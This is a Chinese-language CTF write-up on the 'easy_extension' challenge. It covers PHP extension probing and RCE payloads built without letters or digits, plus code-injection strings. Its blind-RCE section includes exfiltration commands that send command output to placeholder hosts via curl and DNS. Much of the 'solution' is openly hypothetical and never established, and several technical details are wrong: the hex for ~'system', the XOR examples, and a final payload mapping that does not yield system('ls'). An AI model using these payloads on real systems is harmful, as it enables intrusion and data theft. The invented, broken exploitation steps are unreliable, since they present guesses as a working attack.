PHP扩展安全与无字符RCE绕过:从CTF题看纵深防御
1. 项目概述:从一道CTF题看PHP安全攻防的纵深
最近在复盘一些经典的CTF题目,长城杯的easy_extension这道题给我留下了很深的印象。它表面上是一道关于PHP扩展开发的题目,但内核却巧妙地串联起了PHP底层机制、扩展编写,以及一个非常经典的Web安全议题——无字母数字的RCE(远程代码执行)绕过。这道题就像一把钥匙,能同时打开“PHP应用层安全”和“PHP底层扩展”两扇门,对于想深入理解PHP安全体系的朋友来说,是个绝佳的研究样本。
简单来说,这道题模拟了一个场景:我们拿到了一个自定义的、功能存在缺陷的PHP扩展,目标是在无法使用常规字母、数字字符的情况下,利用这个扩展实现命令执行,最终拿到服务器上的flag。这不仅仅是一次“解题”,更是一次对PHP从Zend引擎到扩展接口,再到安全过滤机制的完整透视。无论你是对PHP扩展开发感兴趣,还是想深入研究Web安全中的代码执行绕过技巧,通过拆解这道题,都能获得远超题目本身的收获。接下来,我就把自己分析这道题的完整思路、技术细节和实操过程,毫无保留地分享出来。
2. 核心思路拆解:为什么是扩展+无字符RCE?
拿到题目,第一步永远是理解出题人的意图。easy_extension这个标题已经点明了两大核心:easy_extension(一个简单的扩展)和绕过技巧。我们需要将两者结合起来思考。
2.1 扩展作为漏洞的“发射台”
在常规的CTF Web题中,代码执行漏洞往往源于eval()、assert()、system()等危险函数的不当使用,或者反序列化等复杂利用链。但这道题引入了一个自定义扩展。这意味着什么?
首先,扩展是编译好的二进制文件(.so或.dll),它的功能对PHP脚本是“黑盒”的。我们无法直接看到其内部逻辑,只能通过它暴露给PHP的函数或类方法来与之交互。这要求我们具备逆向分析或动态调试扩展的能力,至少能通过PHP的get_defined_functions()或反射ReflectionExtension来探查它提供了什么。
其次,扩展运行在PHP进程内部,拥有更高的权限。一个编写不当的扩展,其危险程度远高于应用层代码。它可能直接操作内存、执行系统调用,或者暴露出一些本应被禁用的底层功能。题目中的“easy”很可能暗示这个扩展实现了一个功能,但这个功能在参数过滤上存在缺陷,可以被我们利用来“夹带私货”,最终实现RCE。
所以,解题的第一阶段目标很明确:弄清楚这个自定义扩展到底提供了什么功能,以及这个功能在哪里“不安全”。
2.2 无字母数字RCE:极限环境下的代码构造
题目的另一个关键词是“无字母数字RCE”。这是一种在Web安全挑战中常见的限制场景:攻击载荷不能包含任何字母(a-z, A-Z)和数字(0-9)。这直接封杀了我们最直观的利用方式,比如system(‘ls’)或echo 123。
为什么会有这种限制?在实际的WAF(Web应用防火墙)或代码审计中,防守方可能会通过正则表达式过滤掉所有字母数字字符,试图让攻击者无法拼写出有意义的函数名或命令。这就要求攻击者必须利用PHP语言本身的一些“怪癖”和特性,从极其有限的字符集(通常只剩下一些特殊符号)中,像变魔术一样构造出可以执行的代码。
常见的技巧包括:
- 利用PHP的字符串操作:
.(连接符)、{}(字符串下标访问)、~(按位取反)等。 - 利用类型转换和常量:
true、false、NULL、Array、_GET等。 - 利用PHP的自增操作:
‘a’++可以得到‘b’,从而从少量种子字符生成所有字母。 - 利用异或、或、与等位运算:用两个特殊字符通过位运算生成目标字母。
这道题将这两种技术结合,意味着我们需要先通过扩展获得一个“跳板”或“种子”,这个跳板可能是一个字符串、一个函数名,或者一个能执行代码的上下文。然后,在这个跳板的基础上,运用无字母数字的技巧,最终拼装出我们想要的系统命令。扩展是“矛”,无字符技巧是“使用矛的方法”,两者缺一不可。
3. 环境准备与扩展初步分析
在开始真正的攻击之前,我们需要搭建一个可以分析的环境。由于题目通常只提供扩展文件(比如easy.so)和入口PHP脚本,我们需要在本地或可控的Docker环境中复现。
3.1 搭建PHP扩展调试环境
我个人的习惯是使用Docker,干净且可重复。这里以PHP 7.4为例(很多CTF题基于此版本)。
# Dockerfile FROM php:7.4-cli RUN apt-get update && apt-get install -y vim gdb curl RUN docker-php-ext-install sockets # 可选,安装一些常用扩展构建并运行容器,将题目文件挂载进去:
docker build -t php-debug . docker run -it --rm -v $(pwd)/题目目录:/app php-debug bash进入容器后,我们需要将题目提供的easy.so扩展加载到PHP中。假设扩展放在/app目录下。
- 检查扩展依赖:使用
ldd命令查看扩展依赖哪些库,确保环境兼容。ldd /app/easy.so - 编写php.ini或使用dl():
- 方法一:创建
/usr/local/etc/php/conf.d/easy.ini,写入extension=/app/easy.so。 - 方法二:在测试脚本中直接使用
dl(‘easy.so’);。注意,dl()函数在某些PHP配置(如enable_dl=Off)或安全模式下可能被禁用,但在CTF环境中通常可用。我更喜欢第二种,更灵活。
- 方法一:创建
- 验证扩展加载:编写一个测试脚本
test.php。
运行<?php // 尝试动态加载 if (!extension_loaded('easy')) { if (!dl('easy.so')) { die('无法加载扩展'); } } // 查看扩展信息 $ext = new ReflectionExtension('easy'); echo "扩展函数:\n"; var_dump($ext->getFunctions()); echo "\n扩展类:\n"; var_dump($ext->getClasses()); ?>php /app/test.php,就能看到这个扩展暴露了哪些函数和类。这是我们的第一个突破口。
注意:有些扩展可能不是以
dl方式加载,或者需要特定编译参数。如果dl失败,可以尝试在Dockerfile中编译PHP时静态集成,但这更复杂。通常CTF提供的扩展都是标准编译的,dl()即可。
3.2 动态探查扩展功能
假设通过上面的脚本,我们发现easy扩展注册了一个名为easy_func的函数。接下来就要深入分析这个函数的行为。
黑盒测试:编写脚本,用各种参数调用
easy_func,观察返回值、错误信息或副作用。<?php $test_cases = [ “”, // 空字符串 “test”, “123”, “<?php phpinfo(); ?>“, “.”, “|”, // 管道符 “`ls`”, // 反引号 array(), // 数组 true, false, NULL ]; foreach ($test_cases as $case) { echo “输入: “; var_dump($case); echo “输出: “; var_dump(@easy_func($case)); echo “—————-\n”; } ?>重点关注:函数是否执行了代码?是否返回了特殊字符串?是否对输入做了过滤?是否产生了警告或错误?
结合题目入口:查看题目给出的入口PHP文件(比如
index.php)。它如何调用扩展函数?用户输入(如$_GET[‘cmd’])是否直接或经过简单处理就传给了扩展函数?这是寻找利用点的关键。
实操心得:在这个阶段,一定要有耐心,像测试一个API一样测试这个扩展函数。记录下所有异常行为。例如,你可能发现当输入是“.”时,函数返回了“system”字符串的一部分;或者输入是“<?php”时,函数直接返回了“phpinfo”。这些“异常”就是后续利用的基石。
4. 无字母数字RCE技巧深度剖析
在等待扩展分析结果的同时,我们可以先深入复习一下无字母数字RCE的“武器库”。假设扩展最终给了我们一个可控的字符串片段,我们如何用它造出完整的system(‘ls /’)?
4.1 核心原理:PHP的字符串与位运算魔法
PHP是弱类型语言,字符串和数字在某些上下文中可以互换。同时,PHP提供了丰富的位运算符,可以对字符串的ASCII码进行操作。
取反(~):这是最强大的武器之一。在PHP中,对一个字符串进行按位取反,会得到另一个字符串。例如:
echo ~“system”; // 输出乱码,但实际上是”system”每个字节取反的结果 // 我们可以通过二次取反还原 $a = ~“system”; $b = ~$a; // $b 等于 “system”关键在于,
~“system”这个表达式本身不包含字母数字,它是由特殊字符组成的。如果我们能通过扩展得到一个这样的“取反后”的字符串,再对它取反,就能得到原始的命令。异或(^)、或(|)、与(&):两个字符串进行位运算,会得到一个新字符串。我们可以用两个由特殊字符组成的字符串A和B,通过
A^B或A|B来生成目标字母。// 例如,用‘{’和‘~’异或得到‘s’ // ‘{’的ASCII是123 (0x7B), ‘~’是126 (0x7E), ‘s’是115 (0x73) // 123 ^ 126 = 117? 不对。我们需要计算:实际上需要找到两个字符,其异或结果为115。 // 这是一个数学问题,可以写脚本暴力破解。 $char_s = (“{“^”~”); // 这只是一个示例,实际组合需要计算自增(++):PHP中,字符串可以自增。
‘a’++得到‘b’,‘z’++得到‘aa’。如果我们能获得一个初始字母(哪怕是通过非常规手段得到的),就可以通过自增生成所有字母。但注意,无字母数字限制下,获得第一个字母本身就是挑战。
4.2 实战构造:从零到system()
假设我们现在手头只有一堆特殊符号,比如!@#$%^&*()_+-=[]{}|;:‘“,.<>/?~。我们的目标是构造出字符串“system”。
方法一:纯取反构造(如果允许~)~运算符在无字母数字限制中有时是被允许的。我们可以直接构造:
// system 每个字符的取反表示(需要查ASCII码表计算) // s(115) -> ~s = chr(~115) = chr(140) 对应一个扩展ASCII字符,显示为乱码 // 但我们可以直接写出取反后的字符串字面量(在编辑器中输入) $cmd = ~“\x8c\x8d\x9a\x89\x9d\x8e”; // 这串十六进制是”system”取反后的结果 // 那么 $cmd 就是 “system”但问题来了,如何在不写字母数字的情况下得到这串十六进制字符串“\x8c\x8d…”?这本身可能就需要利用扩展。扩展可能直接返回这样一个乱码字符串给我们。
方法二:异或构造(更通用)我们需要写一个小脚本来暴力破解,找出用哪些特殊字符两两异或可以得到目标字符。
<?php $target = ‘system’; $allowed_chars = array_merge( range(‘!’, ‘/’), // 标点符号1 range(‘:’, ‘@’), // 标点符号2 range(‘[‘, ‘`’), // 标点符号3 range(‘{‘, ‘~’) // 标点符号4 ); for ($i = 0; $i < strlen($target); $i++) { $t = $target[$i]; $found = false; foreach ($allowed_chars as $c1) { foreach ($allowed_chars as $c2) { if (($c1 ^ $c2) == $t) { echo “字符 ‘{$t}’ 可由 ‘{$c1}’ ^ ‘{$c2}’ 得到\n”; $found = true; break 2; } } } if (!$found) { echo “字符 ‘{$t}’ 未找到组合\n”; } } ?>运行这个脚本,你可能会得到类似这样的结果:
字符 ‘s’ 可由 ‘^’ ^ ‘J’ 得到 字符 ‘y’ 可由 ‘^’ ^ ‘L’ 得到 …但注意,‘J’和‘L’是字母!这违反了规则。所以我们需要三字符甚至多字符组合,或者利用扩展给我们的“非字母数字但又不是普通特殊字符”的输入。这就是为什么题目要结合扩展——扩展可能给我们提供一些“特殊”的字符资源。
方法三:利用PHP的字符串解析特性PHP有一些神奇的特性,比如“{$_GET[‘a’]}”可以执行变量,“${‘_GET’}”也可以。如果我们能构造出“_GET”这个字符串,再结合${}语法,就可以从GET参数中读取更多payload。而无字符构造“_GET”相对容易一些(比如利用.连接符和已有的片段)。
重要提示:在PHP中,反引号 `` 执行系统命令,但它是语言结构,不是函数。有时
shell_exec()、system()等函数被禁用,但反引号仍可用。我们的目标最终往往是构造出 `ls` 或$(ls)这样的shell命令片段。
4.3 利用扩展作为字符“来源”
现在,我们把扩展分析的结果代入。假设通过黑盒测试,我们发现:
- 当向
easy_func()传入参数“.”时,它返回字符串“s”。 - 当传入参数
“|”时,它返回字符串“y”。 - … 以此类推,它似乎是一个简单的字符映射器。
那么,我们的利用链就清晰了:
- 通过多次调用
easy_func,传入不同的特殊字符,获得“s”,“y”,“s”,“t”,“e”,“m”。 - 使用PHP的
.连接符将它们拼接成“system”。注意,连接符.是允许的。 - 同理,构造出命令参数,比如
“ls /”。 - 最后,如何执行?如果扩展还提供了一个危险函数,或者我们能用无字符技巧构造出
“eval”或反引号,就能完成。更常见的是,扩展函数本身可能就存在代码执行漏洞,比如easy_func(“; ls /”),如果扩展内部调用了system()或eval(),且过滤不严,我们直接拼接命令即可。
另一种可能:扩展函数easy_func()本身的行为就是eval()传入的字符串的一部分。例如,它的C代码可能是:
PHP_FUNCTION(easy_func) { char *arg; size_t arg_len; if (zend_parse_parameters(ZEND_NUM_ARGS(), “s”, &arg, &arg_len) == FAILURE) { RETURN_NULL(); } // 危险操作:直接将参数作为PHP代码的一部分拼接并执行 char *code; spprintf(&code, 0, “echo ‘%s’;”, arg); // 这里存在命令注入! zend_eval_string(code, NULL, “easy extension” TSRMLS_CC); efree(code); }如果是这样,我们只需要注入合适的PHP代码即可,例如“’; system(‘ls’); //“,闭合原来的单引号,插入我们的代码,然后注释掉后面部分。这就是典型的代码注入。
5. 完整利用链构建与实战演练
让我们基于一个合理的假设来模拟整个攻击流程。假设通过分析,我们得知:
- 扩展功能:
easy扩展提供了一个函数get_char($input)。当$input是一个特殊符号时,它返回一个对应的字母或数字(映射关系未知,需爆破)。 - 入口点:题目入口
index.php代码如下:<?php include ‘easy.so’; // 假设自动加载 $cmd = $_GET[‘c’] ?? ‘.’; $result = get_char($cmd); echo “Result: “ . $result; ?> - 限制:服务器端可能有
preg_match(‘/[a-z0-9]/i’, $_GET[‘c’])之类的过滤,所以我们传入c的参数不能有字母数字。
5.1 第一步:爆破字符映射表
我们需要知道传入什么符号能得到什么字符。由于无法直接传字母数字去测试,我们可以写一个脚本,遍历所有可打印的特殊符号(ASCII 33-126,去掉字母数字),然后观察返回。
<?php // attack.php - 在本地模拟或通过远程请求(如果允许) $special_chars = []; for ($i = 33; $i <= 126; $i++) { $char = chr($i); if (!ctype_alnum($char)) { $special_chars[] = $char; } } // 假设我们知道目标URL $url = “http://target.com/index.php”; $map = []; foreach ($special_chars as $sc) { $full_url = $url . “?c=” . urlencode($sc); $response = file_get_contents($full_url); // 简单起见,实际可用curl // 解析返回的Result: x if (preg_match(‘/Result: (\S)/’, $response, $matches)) { $map[$sc] = $matches[1]; } } file_put_contents(‘map.json’, json_encode($map, JSON_PRETTY_PRINT)); echo “映射表已保存。\n”; print_r($map); ?>运行后,我们可能得到类似{“.”:“s”, “|”:“y”, “@”:“t”, “#”:“e”, “$”:“m”, “%”:“l”, “^”:“s”}的映射表。注意,不同符号可能映射到相同字母。
5.2 第二步:构造命令字符串
现在我们要构造“system”和“ls /”。
“system”=get_char(‘.’) . get_char(‘|’) . get_char(‘@’) . get_char(‘#’) . get_char(‘$’) . get_char(‘^’)“ls /”=get_char(‘%’) . get_char(‘!’) . ‘ ‘ . get_char(‘&’)(假设’!’对应’l’,’&‘对应’/’,空格直接传)
但这里有个问题:我们如何在一次请求中完成拼接?index.php只调用一次get_char。我们需要利用PHP的其他特性,比如:
- 参数污染:传递数组
?c[]=.&c[]=|&c[]=@...,但函数可能只接收字符串。 - 多次请求:先获取各个字符,存储在本地,然后构造最终Payload。但在CTF中,通常需要一次完成。
- 利用扩展本身的拼接:也许扩展函数内部有拼接功能?或者,更关键的是,入口代码可能存在其他漏洞。
重新审视入口代码:
$result = get_char($cmd); echo “Result: “ . $result;如果get_char的返回值我们可控,且echo那里存在代码注入呢?不,echo只是输出。但如果代码是eval(“echo ‘“ . get_char($cmd) . “‘;”),那就完全不同了。所以我们必须确认get_char的行为。
假设最坏(对出题人最好)的情况:get_char内部存在代码执行,且参数$cmd被直接拼接进eval语句。那么我们的Payload就不是为了获取字符,而是为了注入代码。
5.3 第三步:Payload最终构造与执行
假设经过逆向(或猜测),我们发现get_char的实现类似于:
spprintf(&code, 0, “return ‘%c’;”, input_char); // input_char是$cmd的第一个字符 zend_eval_string(code, …);它用return ‘X’;包裹输入字符的第一个字符,然后执行。那么,如果我们传入c=‘;phpinfo();//,经过urlencode后是c=%27%3Bphpinfo()%3B%2F%2F。在C的sprintf中,这会变成:
spprintf(&code, 0, “return ‘%c’;”, “‘;phpinfo();//“); // 注意:%c只取第一个字符,即单引号“’” // 最终 code = “return ‘‘;”; // 第一个字符是单引号,被%c格式化为字符常量这不行,因为%c只取第一个字符。我们需要利用格式化字符串漏洞?不,PHP扩展开发中更常见的是直接用Z_STRVAL_P获取字符串指针。
假设它是:
zend_string *arg = Z_STR_P(param); char *code; spprintf(&code, 0, “echo ‘%s’;”, ZSTR_VAL(arg)); // 直接拼接整个字符串参数!那么我们的机会就来了。传入c=.,代码变成echo ‘.’;,安全。但如果我们传入c=‘;system(‘ls’);//,代码变成:
echo ‘‘; system(‘ls’);//‘;PHP会执行echo ‘‘;(空语句),然后执行system(‘ls’);,//‘被注释掉。Bingo!RCE达成。
但我们的限制是无字母数字。‘;system(‘ls’);//中包含字母s,y,s,t,e,m,l。我们需要用无字母数字的方式构造这个字符串。
我们可以利用上一步的字符映射。我们需要构造的字符串是:“’; . get_char(‘.’) . get_char(‘|’) . … . “(‘“ . get_char(‘%’) . get_char(‘!’) . “‘);//“。但这太复杂,且需要多次调用get_char。
关键转折:也许get_char函数本身可以被我们用来“生成”字母,然后我们在参数中通过PHP的.连接符现场拼接。但入口点只调用一次get_char。
真正的技巧:PHP允许复杂的表达式作为函数参数。我们可以这样调用:
index.php?c=’.‘.get_char(‘|’).’‘.get_char(‘@’).’‘.get_char(‘#’).’‘.get_char(‘$’).’‘.get_char(‘^’).’‘.get_char(‘%’).’‘.get_char(‘!’).’‘.get_char(‘&’)等等,这不行,因为c的值会被直接传给get_char,而get_char内部是C函数,不认识PHP的.操作符和函数调用。
所以,我们需要换个思路:命令执行不一定非要system函数。如果扩展提供了直接执行命令的函数呢?或者,我们可以利用PHP的assert函数,结合字符串动态函数调用。
假设我们能通过get_char映射得到字符串“assert”,然后我们可以这样调用:$_GET[‘f’]($_GET[‘a’])。但_GET本身也有字母。这又回到了无字符构造_GET的问题。
一个经典的PHP无字符RCE Payload:
$_=‘’.[].‘’; // 得到字符串‘Array’ $__=$_[2].$_[0].$_[3].$_[1]; // 从‘Array’中取字符拼出‘_GET’ $___=$$__; // 可变变量,得到$_GET数组 $___[‘cmd’]($___[‘arg’]); // 相当于 $_GET[‘cmd’]($_GET[‘arg’])但这里用到了[](数组),它可能被允许。我们需要从扩展获取关键的初始字符,比如“A”(来自‘Array’的第一个字符)。
如果get_char(‘.’)返回‘A’,那么我们就可以开始了:
// 假设我们能让服务器执行如下代码: $A = get_char(‘.’); // $A = ‘A’ $_=$A.[].‘’; // $_ = ‘AArray’? 不对,需要‘Array’。 // 更直接地,如果get_char能返回‘r’, ‘r’, ‘a’, ‘y’等,我们可以拼出‘Array’。这条路非常曲折,需要极其精巧的构造。这很可能就是题目的难点所在。
5.4 简化攻击:利用扩展自身的缺陷
经过以上分析,最合理的攻击路径可能是:扩展函数get_char本身存在代码注入漏洞,且注入点允许我们传入一个经过无字符编码后的Payload,该Payload在解码后能形成有效的PHP代码。
例如,扩展内部可能这样实现:
PHP_FUNCTION(get_char) { char *arg; size_t arg_len; zend_string *decoded; if (zend_parse_parameters(ZEND_NUM_ARGS(), “s”, &arg, &arg_len) == FAILURE) { RETURN_NULL(); } // 假设它做了一个“解密”或“转换”,比如将特定符号转换为字母 decoded = decode_special_string(arg); // 自定义函数 // 然后危险地使用这个解码后的字符串 zend_eval_string(ZSTR_VAL(decoded), NULL, “easy extension” TSRMLS_CC); zend_string_release(decoded); }而decode_special_string可能很简单,比如将‘.’映射为‘p’,‘|’映射为‘h’,‘@’映射为‘p’,等等。如果我们传入的字符串是“.|@”,解码后是“php”。然后zend_eval_string(“php”, …)会执行什么?它会尝试将“php”作为PHP代码执行,这会产生一个未捕获的异常或错误,但不会直接RCE。
我们需要解码后得到“system(‘ls’)”。这意味着我们需要找到一串特殊符号,经过decode_special_string后恰好变成这串代码。这类似于一种编码或替换密码。我们需要逆向decode_special_string的逻辑,或者暴力破解。
暴力破解思路:如果我们能多次调用get_char(比如通过参数数组,或利用其他PHP特性触发多次),我们可以尝试所有单字符输入,建立完整的映射表。然后,像破解替换密码一样,找出能拼出“system(‘ls’)”的符号序列。
假设映射表是固定的单字符替换,那么:
- 我们通过爆破得到:
.-> ‘s’,|-> ‘y’,@-> ‘s’,#-> ‘t’,$-> ‘e’,%-> ‘m’,^-> ‘(‘,&-> ‘‘’,*-> ‘l’,(-> ‘s’,)-> ‘‘’,--> ‘)’ … 等等。 - 那么Payload就是:
c=.|@#$%^&*(),解码后就是system(‘ls’)。
最终,我们向服务器发起请求:
GET /index.php?c=.|@#$%^&*() HTTP/1.1服务器端get_char(“.|@#$%^&*()”)内部解码得到“system(‘ls’)”,然后zend_eval_string执行它,完成命令执行,输出目录列表。
6. 常见问题与排查技巧实录
在实际操作中,即使思路正确,也会遇到各种问题。下面是我在解这类题目时踩过的坑和总结的技巧。
6.1 扩展加载失败
- 问题:
dl(‘easy.so’)失败,提示“Cannot load module”或“undefined symbol”。 - 排查:
- PHP版本不匹配:扩展可能针对特定PHP版本(如7.2)编译,而你的环境是7.4或8.x。使用
php -v确认版本,尽量使用与题目描述或文件时间戳接近的PHP版本。 - 架构不匹配:64位系统加载了32位扩展,或反之。用
file easy.so查看文件信息。 - 依赖缺失:用
ldd easy.so查看动态库依赖,确保所有not found的库在系统中都存在。可能需要安装libc6、libssl等开发包。 - 加载顺序:某些扩展依赖其他扩展(如
json、mbstring)。尝试在php.ini中调整加载顺序,或确保依赖扩展已加载。
- PHP版本不匹配:扩展可能针对特定PHP版本(如7.2)编译,而你的环境是7.4或8.x。使用
- 解决:在Dockerfile中指定准确的PHP版本,并安装常见依赖。最省事的办法是直接使用题目提供的完整Docker镜像(如果有的话)。
6.2 字符映射爆破不准确
- 问题:爆破脚本得到的映射表不稳定,或者返回的字符不是我们想要的。
- 排查:
- 输出干扰:题目页面可能除了
Result:还有其他HTML输出,导致正则匹配错误。使用更精确的正则,或直接抓取整个响应然后手动分析。 - 多字符返回:
get_char可能返回多个字符,而我们的正则只匹配了第一个。修改正则(\S+)或直接截取特定位置(如explode(‘: ‘, $response)[1])。 - 状态依赖:扩展可能有内部状态,多次调用结果不同。确保每次请求是独立的(无Cookie、Session影响)。
- 输入长度:函数可能只处理第一个字符,也可能处理整个字符串。测试时分别传入单字符和多字符。
- 输出干扰:题目页面可能除了
- 解决:编写更健壮的爆破脚本,记录原始响应,并人工抽样验证。使用
curl代替file_get_contents以获得更精确的控制。
6.3 构造的Payload不执行
- 问题:精心构造的Payload发送后,服务器返回了正常页面,但没有命令执行结果。
- 排查:
- 字符编码/转义:URL中的特殊字符需要正确编码。确保你的Payload在传输后保持不变。使用
urlencode()函数处理整个参数字符串。 - 服务器端过滤:除了无字母数字,可能还有其他过滤,如长度限制、禁用某些符号(
$、{、})。尝试简化Payload,用最短的测试phpinfo()或echo 1;。 - 执行上下文:
eval()执行的代码可能在一个受限的沙盒内,或者disable_functions禁用了命令执行函数。尝试使用scandir(‘.’)代替system(‘ls’),或者用var_dump(get_defined_functions())查看可用函数。 - 输出被吞没:命令执行了,但输出被重定向或没有回显到页面。尝试使用
system(‘ls / > /tmp/out.txt’)写入文件,然后通过其他方式读取(如包含文件漏洞)。或者使用passthru()、shell_exec()等可能有不同输出行为的函数。 - Payload逻辑错误:你的无字符Payload在解码或拼接后,生成的PHP代码语法有误。在本地用相同PHP版本测试你的Payload生成逻辑。可以使用
eval()包裹生成的字符串,看是否报错。
- 字符编码/转义:URL中的特殊字符需要正确编码。确保你的Payload在传输后保持不变。使用
- 解决:采用“分步推进”策略。先测试最简单的注入:
c=‘;echo‘hello’;//。如果成功,再逐步替换为无字符版本。使用错误控制运算符@来抑制可能出现的警告。
6.4 时间盲注与无回显RCE
- 问题:命令执行了,但没有任何输出(盲注)。这在CTF中也很常见。
- 技巧:
- 延时判断:使用
sleep(5)命令。如果页面响应延迟了5秒,说明代码执行了。Payload例如:c=‘;sleep(5);//。 - DNS外带:使用
curl http://your-domain.com/$(whoami)或ping -c 1 $(whoami).your-domain.com,在你的DNS日志中查看子域名,从而泄露命令输出。这需要你有公网服务器。 - HTTP请求外带:使用
wget或curl将命令结果作为参数发送到你的服务器。c=‘;curl http://yourserver.com/?c=$(ls|base64);//。 - 写文件再读取:如果Web目录可写,将结果写入文件,然后通过正常的Web路径访问。
c=‘;system(‘ls / > /var/www/html/out.txt’);//,然后访问/out.txt。
- 延时判断:使用
6.5 逆向扩展二进制文件
对于更复杂的题目,可能需要直接逆向easy.so。
- 工具:
objdump -d easy.so(反汇编),strings easy.so(查看字符串常量),radare2或Ghidra(更强大的静态分析)。 - 目标:找到
get_char对应的C函数(通常是zif_get_char),分析其汇编或反编译代码,直接理解其逻辑。这可能涉及对PHP扩展API(如zend_parse_parameters,RETURN_STRING)的理解。 - 技巧:在
strings输出中搜索“get_char”、“PHP_FUNCTION”等关键字。找到函数后,重点看它对输入参数的处理:是否有strlen、memcpy、sprintf、zend_eval_string等危险函数调用。
7. 防御视角与安全启示
作为开发者,从这道题我们能学到什么?
- 永远不要信任用户输入:这是铁律。即使在扩展的C代码中,所有来自
ZEND_PARSE_PARAMETERS的参数都必须视为不可信的。必须进行严格的长度、内容检查。 - 避免在扩展中直接执行动态代码:除非绝对必要,否则不要在PHP扩展中使用
zend_eval_string或system等函数。如果必须使用,要对输入进行白名单过滤。 - 小心字符串格式化函数:
sprintf、vsprintf等函数如果格式字符串和参数都由用户控制,可能导致格式化字符串漏洞。在C中,这可能导致内存读写,非常危险。 - 无字符RCE的防御:在应用层,单纯过滤字母数字远远不够。需要结合上下文,对允许的字符集进行极严格的白名单限制,并考虑使用安全的解析器或沙盒来执行动态逻辑。
- 最小权限原则:运行PHP的进程(如www-data)应具有尽可能少的系统权限。这样即使被RCE,攻击者能造成的破坏也有限。
对于安全研究人员而言,这道题展示了如何将底层漏洞(扩展实现缺陷)与应用层绕过技巧(无字符RCE)结合,形成一条完整的攻击链。它要求我们不仅要有Web安全的思维,还要有一定的二进制和PHP内核知识。这种跨层的知识融合,正是现代安全攻防的迷人之处。